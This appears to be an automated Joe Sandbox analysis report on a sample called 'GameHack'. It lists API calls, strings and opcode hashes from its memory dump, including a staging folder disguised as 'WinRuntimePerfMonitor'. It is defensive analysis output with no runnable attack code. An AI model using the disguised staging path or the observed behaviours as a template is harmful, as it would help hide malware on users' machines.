API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cef848f847b5d7db2672dcf4151135de34b36449e50502bbc31ec5ff6e5120e1
Instruction ID: 8d42af4c73e413504ed5ec484704fad2d89a084442780c2c2ea5ecd1f4c931fc
Opcode Fuzzy Hash: cef848f847b5d7db2672dcf4151135de34b36449e50502bbc31ec5ff6e5120e1
Instruction Fuzzy Hash: B8A0129136D4453C3008B103AC02C7A024CD0C0B11330511AF00AB008454404C046431

Function 00EEDBF7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDBD5

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 71b2121e59914296c1ee09f3fb571752f1410ad071236fa6f014ee2027ad3b06
Instruction ID: 3d52361a50fd35bbfcca09d2ca52f92ec3a980b65eab4d350f3b239e1f43f3e7
Opcode Fuzzy Hash: 71b2121e59914296c1ee09f3fb571752f1410ad071236fa6f014ee2027ad3b06
Instruction Fuzzy Hash: C1A0029537D54B7C710852526D17D76025CD4C4B513316519F506B41C16A505C456431

Function 00EEDC4E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDC36

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 182b6382f1844ae3db27580dfd2e7b9413d2bb99cf33905fd174b7d57152fc07
Instruction ID: 8ca4586091d0d7428e6630eba5a5c660c90dd814b3addad5715faa6004edd54b
Opcode Fuzzy Hash: 182b6382f1844ae3db27580dfd2e7b9413d2bb99cf33905fd174b7d57152fc07
Instruction Fuzzy Hash: 9AA0029566D5467C710C61526D16D7A425CD4C4B913305919F506B41D155805C45A431

Function 00EEDC44 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDC36

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e5f0f7a453d520c114d103361976760ccd9497db8eb4a379d9005c99676ec37f
Instruction ID: 8ca4586091d0d7428e6630eba5a5c660c90dd814b3addad5715faa6004edd54b
Opcode Fuzzy Hash: e5f0f7a453d520c114d103361976760ccd9497db8eb4a379d9005c99676ec37f
Instruction Fuzzy Hash: 9AA0029566D5467C710C61526D16D7A425CD4C4B913305919F506B41D155805C45A431

Function 00EEDC0B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDBD5

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e4f655b0d84492034e38fd9c5582c5f2cd7e7d546322278026966a6782ffedf2
Instruction ID: 3d52361a50fd35bbfcca09d2ca52f92ec3a980b65eab4d350f3b239e1f43f3e7
Opcode Fuzzy Hash: e4f655b0d84492034e38fd9c5582c5f2cd7e7d546322278026966a6782ffedf2
Instruction Fuzzy Hash: C1A0029537D54B7C710852526D17D76025CD4C4B513316519F506B41C16A505C456431

Function 00EEDC1F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDBD5

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9cbf584db84597844e3e5e409797bdb0ecb8006083618660acd0230169e413a4
Instruction ID: 3d52361a50fd35bbfcca09d2ca52f92ec3a980b65eab4d350f3b239e1f43f3e7
Opcode Fuzzy Hash: 9cbf584db84597844e3e5e409797bdb0ecb8006083618660acd0230169e413a4
Instruction Fuzzy Hash: C1A0029537D54B7C710852526D17D76025CD4C4B513316519F506B41C16A505C456431

Function 00EEDC15 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00EEDBD5

Part of subcall function 00EEDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00EEDFD6
Part of subcall function 00EEDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00EEDFE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8584737d83efd80d9de73027a038a8305a7e56161ad8a19d991db8039cbcfeb2
Instruction ID: 3d52361a50fd35bbfcca09d2ca52f92ec3a980b65eab4d350f3b239e1f43f3e7
Opcode Fuzzy Hash: 8584737d83efd80d9de73027a038a8305a7e56161ad8a19d991db8039cbcfeb2
Instruction Fuzzy Hash: C1A0029537D54B7C710852526D17D76025CD4C4B513316519F506B41C16A505C456431

Function 00ED9EBF Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00ED9104,?,?,-00001964), ref: 00ED9EC2

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: fa8f84aa66f11296f11c47b750b439804a88686892252f9596164228c243f6cf
Instruction ID: d3c852118fb3fbe2f664a6675080dbf6b2137d25f2489a00a22b1732678d8c28
Opcode Fuzzy Hash: fa8f84aa66f11296f11c47b750b439804a88686892252f9596164228c243f6cf
Instruction Fuzzy Hash: E0B011300A200A8ACE002B30CC088283A28FA2230A30082A0A002CA0A0CB22C002AA00

Function 00EEA322 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00EEA587,C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor,00000000,00F1946A,00000006), ref: 00EEA326

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: fe5c77835397e66bb7e2a3b1bc64c9399571c956cef0232ec7c8e3dfe75950db
Instruction ID: fdab742739d2cff93f027a402ec78ecafa7fcba97c4b35ad1fe20e9e70880226
Opcode Fuzzy Hash: fe5c77835397e66bb7e2a3b1bc64c9399571c956cef0232ec7c8e3dfe75950db
Instruction Fuzzy Hash: B1A0123019400A56CA000B30CD09C1576546760702F0086207002C00A0CB308814B500

Function 00ED96D0 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,00ED968F,?,?,?,?,00F01FA1,000000FF), ref: 00ED96EB

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: b18edf08e5ee7dff4715aaadbb3150f4af67ba74bdee159142b5c1227c6b949d
Instruction ID: c71090569a7bd30b20b638e15dc8ded042ff8db6c5da259def6e0ddcf1ca74b8
Opcode Fuzzy Hash: b18edf08e5ee7dff4715aaadbb3150f4af67ba74bdee159142b5c1227c6b949d
Instruction Fuzzy Hash: B5F05E30556B048FDB308E24D949792B7E8EB12729F04AB1F90F7636E1D761A98E9F00

Non-executed Functions

Function 00EEB8E0 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00ED130B: GetDlgItem.USER32(00000000,00003021), ref: 00ED134F
Part of subcall function 00ED130B: SetWindowTextW.USER32(00000000,00F035B4), ref: 00ED1365

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00EEB971
EndDialog.USER32(?,00000006), ref: 00EEB984
GetDlgItem.USER32(?,0000006C), ref: 00EEB9A0
SetFocus.USER32(00000000), ref: 00EEB9A7
SetDlgItemTextW.USER32(?,00000065,?), ref: 00EEB9E1
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00EEBA18
FindFirstFileW.KERNEL32(?,?), ref: 00EEBA2E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00EEBA4C
FileTimeToSystemTime.KERNEL32(?,?), ref: 00EEBA5C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00EEBA78
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00EEBA94
_swprintf.LIBCMT ref: 00EEBAC4

Part of subcall function 00ED400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00ED401D

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00EEBAD7
FindClose.KERNEL32(00000000), ref: 00EEBADE
_swprintf.LIBCMT ref: 00EEBB37
SetDlgItemTextW.USER32(?,00000068,?), ref: 00EEBB4A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00EEBB67
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00EEBB87
FileTimeToSystemTime.KERNEL32(?,?), ref: 00EEBB97
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00EEBBB1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00EEBBC9
_swprintf.LIBCMT ref: 00EEBBF5
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00EEBC08
_swprintf.LIBCMT ref: 00EEBC5C
SetDlgItemTextW.USER32(?,00000069,?), ref: 00EEBC6F

Part of subcall function 00EEA63C: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00EEA662
Part of subcall function 00EEA63C: GetNumberFormatW.KERNEL32(00000400,00000000,?,00F0E600,?,?), ref: 00EEA6B1

Strings

REPLACEFILEDLG, xrefs: 00EEB907
%s %s, xrefs: 00EEBB29, 00EEBC4E
%s %s %s, xrefs: 00EEBAB2, 00EEBBE7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: 7a67513c682efc448aea3a1ee9fb13ee86c6dbd55bbbf434e1c17b3917d7bf1a
Instruction ID: 75c6b517279e17bd7557fb4bf8eafd1274c7f980a7814d727a0618b54b392f79
Opcode Fuzzy Hash: 7a67513c682efc448aea3a1ee9fb13ee86c6dbd55bbbf434e1c17b3917d7bf1a
Instruction Fuzzy Hash: A391C3B214838CBBD6319BA1DD49FFBB7ECEB89704F001819B749E2081DB71A6059762

Function 00EDDA98 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 236COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00EDDABE

Part of subcall function 00ED400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00ED401D

Part of subcall function 00EE1596: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00F10EE8,00000200,00EDD202,00000000,?,00000050,00F10EE8), ref: 00EE15B3

_strlen.LIBCMT ref: 00EDDADF
SetDlgItemTextW.USER32(?,00F0E154,?), ref: 00EDDB3F
GetWindowRect.USER32(?,?), ref: 00EDDB79
GetClientRect.USER32(?,?), ref: 00EDDB85
GetWindowLongW.USER32(?,000000F0), ref: 00EDDC25
GetWindowRect.USER32(?,?), ref: 00EDDC52
SetWindowTextW.USER32(?,?), ref: 00EDDC95
GetSystemMetrics.USER32(00000008), ref: 00EDDC9D
GetWindow.USER32(?,00000005), ref: 00EDDCA8
GetWindowRect.USER32(00000000,?), ref: 00EDDCD5
GetWindow.USER32(00000000,00000002), ref: 00EDDD47

Strings

d, xrefs: 00EDDBA5
$%s:, xrefs: 00EDDAB2
CAPTION, xrefs: 00EDDC77

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 13aa109a271271af8e776729d85f654141f141ebad2000c2ae99e2b8f56d3e89
Instruction ID: 22d86e1d6fb456606f675e4195949bca4765501b6c7098b2fb21ae4a6c9e219c
Opcode Fuzzy Hash: 13aa109a271271af8e776729d85f654141f141ebad2000c2ae99e2b8f56d3e89
Instruction Fuzzy Hash: 99819271108305AFD710DF68CD85E6BBBE9EBC9714F04191EFA84E3291D670E90ACB52

Function 00ED718C Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 296fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00ED7191
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 00ED72F1
CloseHandle.KERNEL32(00000000), ref: 00ED7301

Part of subcall function 00ED7BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00ED7C04
Part of subcall function 00ED7BF5: GetLastError.KERNEL32 ref: 00ED7C4A
Part of subcall function 00ED7BF5: CloseHandle.KERNEL32(?), ref: 00ED7C59

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 00ED730C
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00ED741A
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00ED7446
CloseHandle.KERNEL32(?), ref: 00ED7457
GetLastError.KERNEL32 ref: 00ED7467
RemoveDirectoryW.KERNEL32(?), ref: 00ED74B3
DeleteFileW.KERNEL32(?), ref: 00ED74DB

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 00ED71BC
\??\, xrefs: 00ED7217
SeRestorePrivilege, xrefs: 00ED71B2
UNC\, xrefs: 00ED723C

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: 618c60e7de090b81ab204a4fd88b82c369c70c0bf26d063b99c5b44951075010
Instruction ID: 8360fa29b2811c65dfa9879e21e3d2faf324178857778e86c02a0828f1e0e26e
Opcode Fuzzy Hash: 618c60e7de090b81ab204a4fd88b82c369c70c0bf26d063b99c5b44951075010
Instruction Fuzzy Hash: DAB1E571904219ABDF21DF60DC41BEE7BB8EF04304F0454AAF955F7282E734AA46CB61

Function 00EFC233 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00EFC277

Part of subcall function 00EFBE12: _free.LIBCMT ref: 00EFBE2F
Part of subcall function 00EFBE12: _free.LIBCMT ref: 00EFBE41
Part of subcall function 00EFBE12: _free.LIBCMT ref: 00EFBE53
Part of subcall function 00EFBE12: _free.LIBCMT ref: 00EFBE65
Part of subcall function 00EFBE12: _free.LIBCMT ref: 00EFBE77
Part of subcall function 00EFBE12: _free.LIBCMT ref: 00EFBE89
Part of subcall function 00EFBE12: _free.LIBCMT ref: 00EFBE9B
Part of subcall function 00EFBE12: _free.LIBCMT ref: 00EFBEAD
Part of subcall function 00EFBE12: _free.LIBCMT ref: 00EFBEBF
Part of subcall function 00EFBE12: _free.LIBCMT ref: 00EFBED1
Part of subcall function 00EFBE12: _free.LIBCMT ref: 00EFBEE3
Part of subcall function 00EFBE12: _free.LIBCMT ref: 00EFBEF5
Part of subcall function 00EFBE12: _free.LIBCMT ref: 00EFBF07

_free.LIBCMT ref: 00EFC26C

Part of subcall function 00EF84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00EFBFA7,00F03958,00000000,00F03958,00000000,?,00EFBFCE,00F03958,00000007,00F03958,?,00EFC3CB,00F03958), ref: 00EF84F4
Part of subcall function 00EF84DE: GetLastError.KERNEL32(00F03958,?,00EFBFA7,00F03958,00000000,00F03958,00000000,?,00EFBFCE,00F03958,00000007,00F03958,?,00EFC3CB,00F03958,00F03958), ref: 00EF8506

_free.LIBCMT ref: 00EFC28E
_free.LIBCMT ref: 00EFC2A3
_free.LIBCMT ref: 00EFC2AE
_free.LIBCMT ref: 00EFC2D0
_free.LIBCMT ref: 00EFC2E3
_free.LIBCMT ref: 00EFC2F1
_free.LIBCMT ref: 00EFC2FC
_free.LIBCMT ref: 00EFC334
_free.LIBCMT ref: 00EFC33B
_free.LIBCMT ref: 00EFC358
_free.LIBCMT ref: 00EFC370

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: e608033bef98b2edc3e3548c579284d88c774a28e2038594897f97eef90d809b
Instruction ID: 6f0add214c03846413d9919326089a97483b63781a4729522841a65842a7f254
Opcode Fuzzy Hash: e608033bef98b2edc3e3548c579284d88c774a28e2038594897f97eef90d809b
Instruction Fuzzy Hash: B8316F3260060D9FEB20AE78DA45B7673E9FF00354F34A469E659E7561DF31AC40DB50

Function 00EECD2E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00EECD51
GetClassNameW.USER32(00000000,?,00000800), ref: 00EECD7D

Part of subcall function 00EE17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00EDBB05,00000000,.exe,?,?,00000800,?,?,00EE85DF,?), ref: 00EE17C2

GetWindowLongW.USER32(00000000,000000F0), ref: 00EECD99
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00EECDB0
